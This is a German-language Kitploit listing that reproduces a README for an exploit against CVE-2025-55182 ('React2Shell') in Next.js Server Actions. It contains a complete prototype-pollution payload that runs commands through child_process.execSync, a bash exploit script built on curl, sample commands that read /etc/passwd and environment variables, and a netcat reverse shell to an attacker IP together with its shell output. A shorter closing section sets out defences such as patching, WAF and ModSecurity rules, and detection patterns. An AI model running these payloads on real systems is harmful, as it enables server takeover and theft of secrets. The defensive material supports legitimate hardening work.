Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
react2shell-exploit — CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Sicherheitslücke, die Next.js-Anwendungen betrifft, die React Server Components (RSC) und Server Actions verwenden. | Kitploit
Tools/GitHubGitHub/yannisduvignau/react2shell-exploit
ExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRemote-Access-ToolPayload-Entwicklung
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Sicherheitslücke, die Next.js-Anwendungen betrifft, die React Server Components (RSC) und Server Actions verwenden.

Repository anzeigen
11vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182 – React2Shell

Ausführung von Remote-Code in Next.js

⚠️ Haftungsausschluss: Diese Dokumentation dient ausschließlich zu Bildungs- und Sicherheitsforschungszwecken. Die unbefugte Nutzung dieser Techniken gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast, ist illegal.


📋 Inhaltsverzeichnis

  1. Überblick
  2. Funktionsweise
  3. Installation & Einrichtung
  4. Schritt-für-Schritt-Ausnutzung
  5. Ergebnisse & Auswirkungen
  6. Abwehrstrategien

Überblick

CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Schwachstelle, die Next.js-Anwendungen betrifft, die Folgendes verwenden:

  • React-Server-Komponenten (RSC)
  • Server-Aktionen

Warum ist es gefährlich?

Ein Angreifer kann eine auf dem Server erreichen, indem er Folgendes ausnutzt:

Ausführung von Remote-Code (RCE)
  1. Unsicheres Deserialisieren von RSC-Nutzlasten
  2. Prototyp-Verschmutzung via __proto__ und constructor
  3. Dynamische Ausführungspfade in der Next.js-Serverlaufzeit

Konsequenz: Beliebige Systembefehle können mit den Rechten des Node.js-Prozesses ausgeführt werden.


Funktionsweise

Stufe 1: Next.js RSC-Protokoll

Next.js verwendet ein eigenes Multipart/Form-Data-Protokoll für die Kommunikation zwischen Client und Server:

  • Der Client sendet React-Server-Komponenten an den Server
  • Der Server deserialisiert und verarbeitet sie
  • Das Ergebnis wird an den Client zurückgegeben
root@kitploit:~
Client (Browser)
    ↓
[Multipart/Form-Data RSC-Nutzlast]
    ↓
Next.js-Server
    ↓
Deserialisierung + Ausführung
    ↓
Antwort

Stufe 2: Die Schwachstelle – Unsicheres Deserialisieren

Die Schwachstelle besteht, weil:

  1. Vom Benutzer gesteuerte Daten werden vor der Deserialisierung nicht validiert
  2. Der Zugriff auf die Prototypenkette ist erlaubt (__proto__, constructor)
  3. Bestimmte Felder werden während der Anfrageverarbeitung dynamisch ausgewertet

Stufe 3: Prototyp-Verschmutzungsangriff

Ein Angreifer kann eine Nutzlast erstellen, die interne Objekt-Eigenschaften verändert:

root@kitploit:~
{
  "then": "$1:__proto__:then",  // Zielt auf die Prototypenkette
  "_response": {
    "_prefix": "bösartiger Code hier"  // Code-Injektion
  }
}

Durch Ausnutzung von __proto__ verschmutzt der Angreifer den Prototyp von JavaScript-Objekten und wirkt sich so auf alle Objekte aus, die davon erben.

Stufe 4: Code-Injektion

Im Feld _prefix injiziert der Angreifer JavaScript-Code, der:

  1. Auf das Node.js-Modul zugreift via process.mainModule.require()
  2. Das Modul child_process lädt
  3. Systembefehle ausführt mit execSync()
root@kitploit:~
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Stufe 5: Ergebnis-Extraktion

Das Befehlsergebnis wird in der Fehlerantwort versteckt:

root@kitploit:~
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js gibt diesen Fehler an den Client zurück, und die Befehlsausgabe ist im Feld digest sichtbar.


Installation & Einrichtung

Voraussetzungen

  • Node.js 20
  • Burp Suite (oder ein ähnliches Tool zum Abfangen von Anfragen)
  • curl oder Postman (zum Senden von Nutzlasten)

Schritt 1: Server klonen und installieren

root@kitploit:~
# PoC klonen
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Node.js 20 installieren
nvm install 20
nvm use 20

# Abhängigkeiten installieren
cd test-server
npm install

Schritt 2: Server starten

root@kitploit:~
npm run dev

Der Server ist nun erreichbar unter:

root@kitploit:~
http://localhost:3000

Schritt 3: Überprüfen, ob der Server läuft

root@kitploit:~
curl http://localhost:3000/

Zu diesem Zeitpunkt verhält sich der Server normal.


Schritt-für-Schritt-Ausnutzung

Ansatz 1: Verwendung von Burp Suite (Manuelles Abfangen)

Schritt 1: Abfangen aktivieren

  1. Burp Suite öffnen
  2. Zum Tab Proxy → Intercept gehen
  3. Intercept is on aktivieren
  4. Im Browser http://localhost:3000/ aufrufen

Schritt 2: Die Anfrage abfangen

Eine GET-Anfrage wird abgefangen. Sende sie zum Tab Repeater:

  1. Rechtsklick → Send to Repeater
  2. Zum Tab Repeater gehen

Schritt 3: Durch bösartige Nutzlast ersetzen

Ersetze die gesamte Anfrage durch folgende Nutzlast:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Schritt 4: Anfrage senden

Klicke Send


Ansatz 2: Automatisiertes Exploit-Skript

Erstelle eine Datei exploit.sh:

root@kitploit:~
#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Nutzlast erstellen
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Befehl ersetzen
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Anfrage senden
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Ausführbar machen:

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

Beispielbefehle

Dateien und Verzeichnisse auflisten

root@kitploit:~
COMMAND="ls -la /"

Aktuellen Benutzer abrufen

root@kitploit:~
COMMAND="whoami"

Eine Datei lesen

root@kitploit:~
COMMAND="cat /etc/passwd"

Netzwerkverbindungen prüfen

root@kitploit:~
COMMAND="netstat -tuln"

Umgebungsvariablen abrufen

root@kitploit:~
COMMAND="env"

Reverse Shell (Vollständiger Serverzugriff)

Um vollständigen interaktiven Shell-Zugriff zu erhalten, verwende eine Reverse Shell.

Auf dem Angreifer-Rechner: Auf Verbindungen lauschen

root@kitploit:~
ncat -lvnp 9009

Oder mit netcat:

root@kitploit:~
nc -lvnp 9009

Auf dem Ziel: Reverse-Shell-Nutzlast senden

Ändere die Nutzlast mit folgendem Befehl (ersetze <ATTACKER_IP> durch deine IP-Adresse):

root@kitploit:~
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

Die vollständige Nutzlast wird zu:

root@kitploit:~
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Erwartetes Ergebnis

root@kitploit:~
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

Du hast jetzt eine vollständig interaktive Shell auf dem Zielserver.


Ergebnisse & Auswirkungen

Server-Antwort

Bei erfolgreicher Ausnutzung:

  1. Der Server antwortet mit HTTP 500 Internal Server Error
  2. Der Antworttext enthält die Ausgabe des ausgeführten Systembefehls
  3. Die Ausgabe ist im Feld digest innerhalb der Fehlerantwort eingebettet

Beispielantwort

root@kitploit:~
Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Mögliche Auswirkungen

  • 🔥 Vollständige Remote-Code-Ausführung (RCE)
  • 📂 Vollständiger Dateisystemzugriff
  • 🔐 Diebstahl von Anmeldeinformationen und Geheimnissen
  • 🚨 Lateral-Movement innerhalb interner Netzwerke
  • 💥 Vollständige Server-Kompromittierung
  • 🔗 Supply-Chain-Angriffe (falls zur Kompromittierung bereitgestellter Anwendungen genutzt)
  • 📊 Datenerfassung und -manipulation

Abwehrstrategien

Für Systemadministratoren

1. Next.js sofort aktualisieren

root@kitploit:~
npm install next@latest

Stelle sicher, dass du eine gepatchte Version von Next.js verwendest. Überprüfe die offiziellen Sicherheitshinweise.

2. Strenge Validierung von RSC-Nutzlasten

Füge eine strenge Validierung eingehender RSC-Nutzlasten hinzu:

root@kitploit:~
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // Verdächtige Nutzlasten ablehnen
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // Nutzlasten mit gefährlichen Mustern blockieren
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[SICHERHEIT] Bösartiger Nutzlastversuch von ${request.ip}`);
      return new NextResponse('Verboten', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

3. Server-Aktionen deaktivieren, falls nicht benötigt

In next.config.js:

root@kitploit:~
module.exports = {
  experimental: {
    serverActions: {
      enabled: false // Deaktivieren, falls nicht benötigt
    }
  }
};

4. Node.js mit minimalen Rechten ausführen

root@kitploit:~
# Einen dedizierten Benutzer anlegen
useradd -r -s /bin/false nextjs

# Den Dienst unter diesem Benutzer ausführen
sudo -u nextjs node server.js

# Oder mit systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

5. Container-Isolation mit reduzierten Fähigkeiten

Docker mit eingeschränkten Fähigkeiten verwenden:

root@kitploit:~
FROM node:20-alpine

# Nicht-Root-Benutzer anlegen
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

Container mit eingeschränkten Fähigkeiten ausführen:

root@kitploit:~
docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

6. Verdächtige Anfragen überwachen

Umfassende Protokollierung implementieren:

root@kitploit:~
// Benutzerdefinierte Protokollierungs-Middleware
app.use((req, res, next) => {
  // Alle POST-Anfragen mit Next-Action-Header protokollieren
  if (req.method === 'POST' && req.headers['next-action']) {
    const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
    
    if (isSuspicious) {
      console.error(`[SICHERHEITSALARM] Exploit-Versuch von ${req.ip} erkannt`);
      console.error(`[SICHERHEITSALARM] User-Agent: ${req.get('user-agent')}`);
      console.error(`[SICHERHEITSALARM] Nutzlast: ${bodyString.substring(0, 500)}`);
      
      // Sicherheitsteam benachrichtigen
      // sendSecurityAlert(`Exploit-Versuch von ${req.ip}`);
      
      return res.status(403).json({ error: 'Verboten' });
    }
  }
  
  next();
});

7. Web Application Firewall (WAF) einsetzen

Konfiguriere deine WAF so, dass Folgendes blockiert wird:

ModSecurity-Regeln:

root@kitploit:~
# __proto__ im Anforderungstext blockieren
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'Prototyp-Verschmutzungsangriff'"

# constructor im Anforderungstext blockieren
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'Prototyp-Verschmutzungsangriff'"

# Zugriff auf child_process-Modul blockieren
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'Code-Ausführungsversuch'"

# execSync-Funktion blockieren
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'Code-Ausführungsversuch'"

# require()-Anweisungen blockieren
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'Modul-Ladeversuch'"

AWS WAF-Beispiel:

root@kitploit:~
{
  "Name": "BlockRCEAttempts",
  "Rules": [
    {
      "Name": "BlockProtoPollution",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
          "PositionalConstraint": "CONTAINS",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "BlockProtoPollution"
      }
    }
  ]
}

8. Content Security Policy (CSP)-Header

Obwohl CSP hauptsächlich clientseitig schützt, ist es eine bewährte Praxis:

root@kitploit:~
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

9. Regelmäßige Sicherheitsaudits

root@kitploit:~
# Abhängigkeiten auf Schwachstellen scannen
npm audit
npm audit fix

# Snyk für kontinuierliche Überwachung verwenden
snyk monitor

# Regelmäßige Penetrationstests
// Vierteljährliche Sicherheitsbewertungen planen

10. Incident-Response-Plan

Bei Verdacht auf Ausnutzung:

root@kitploit:~
# 1. Protokolle auf verdächtige Muster prüfen
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. Prozesshistorie prüfen
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. Netzwerkverbindungen prüfen
netstat -tuln
lsof -i -P -n

# 4. Betroffenes System isolieren
sudo iptables -I INPUT -j DROP

# 5. Beweise und Protokolle sichern
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/

# 6. Sicherheitsteam benachrichtigen und Patches einspielen

Technischer Tiefgang

Aufschlüsselung der Nutzlast

root@kitploit:~
{
  // Schritt 1: Auf die Prototypenkette zielen
  "then": "$1:__proto__:then",
  
  // Schritt 2: Als aufgelöstes Modell markieren
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // Schritt 3: Code über _response injizieren
  "_response": {
    // Der injizierte JavaScript-Code
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // Referenz auf Formulardaten
    "_chunks": "$Q2",
    
    // Zugriff auf constructor über Formulardaten
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Warum es funktioniert

  1. Multipart-Parsing: Next.js parst die Multipart-Formulardaten
  2. Referenzauflösung: Referenzen wie $1 werden in andere Formularfelder aufgelöst
  3. Objekt-Rekonstruktion: Objekte werden aus den geparsten Daten rekonstruiert
  4. Prototyp-Verschmutzung: Der __proto__-Pfad verändert den Objekt-Prototypen
  5. Code-Ausführung: Das Feld _prefix wird während der Fehlerbehandlung ausgewertet
  6. Befehlsausführung: execSync führt den beliebigen Befehl aus
  7. Ergebnis-Extraktion: Die Ausgabe wird in den Fehler-Digest eingebettet

Zusätzliche Ressourcen

  • Original-PoC: https://github.com/msanft/CVE-2025-55182/
  • Next.js-Sicherheitsdokumentation: https://nextjs.org/docs/security
  • OWASP-Prototyp-Verschmutzung: https://owasp.org/www-community/attacks/Prototype_pollution
  • Node.js-Sicherheitsbest Practices: https://nodejs.org/en/docs/guides/security/
  • CWE-502: Deserialisierung nicht vertrauenswürdiger Daten: https://cwe.mitre.org/data/definitions/502.html

Fazit

CVE-2025-55182 (React2Shell) zeigt kritische Risiken im Zusammenhang mit:

✅ Unsicherer Deserialisierung benutzergesteuerter Daten ✅ Prototyp-Verschmutzung in JavaScript-Prototyp-Ketten ✅ Dynamischer Code-Ausführung ohne ordnungsgemäße Validierung

Diese Schwachstelle unterstreicht die Bedeutung von:

  • 🔒 Eingabevalidierung: Niemals Benutzereingaben vertrauen
  • 🛡️ Mehrschichtiger Verteidigung: Mehrere Schutzebenen verwenden
  • ⚠️ Aktualisieren von Frameworks: Sicherheitspatches sofort einspielen
  • 🔍 Überwachung und Protokollierung: Verdächtiges Verhalten erkennen
  • 🔐 Prinzip der geringsten Privilegien: Dienste mit minimalen Berechtigungen ausführen
  • 🧪 Regelmäßigen Sicherheitstests: Audits und Penetrationstests durchführen

Lizenz: Nur für Bildungszwecke – Unbefugter Zugriff auf Computersysteme ist illegal.

Stelle für legitime Sicherheitsforschung und autorisierte Tests sicher, dass du eine schriftliche Genehmigung des Systembesitzers hast, bevor du Tests durchführst.

Tool herunterladen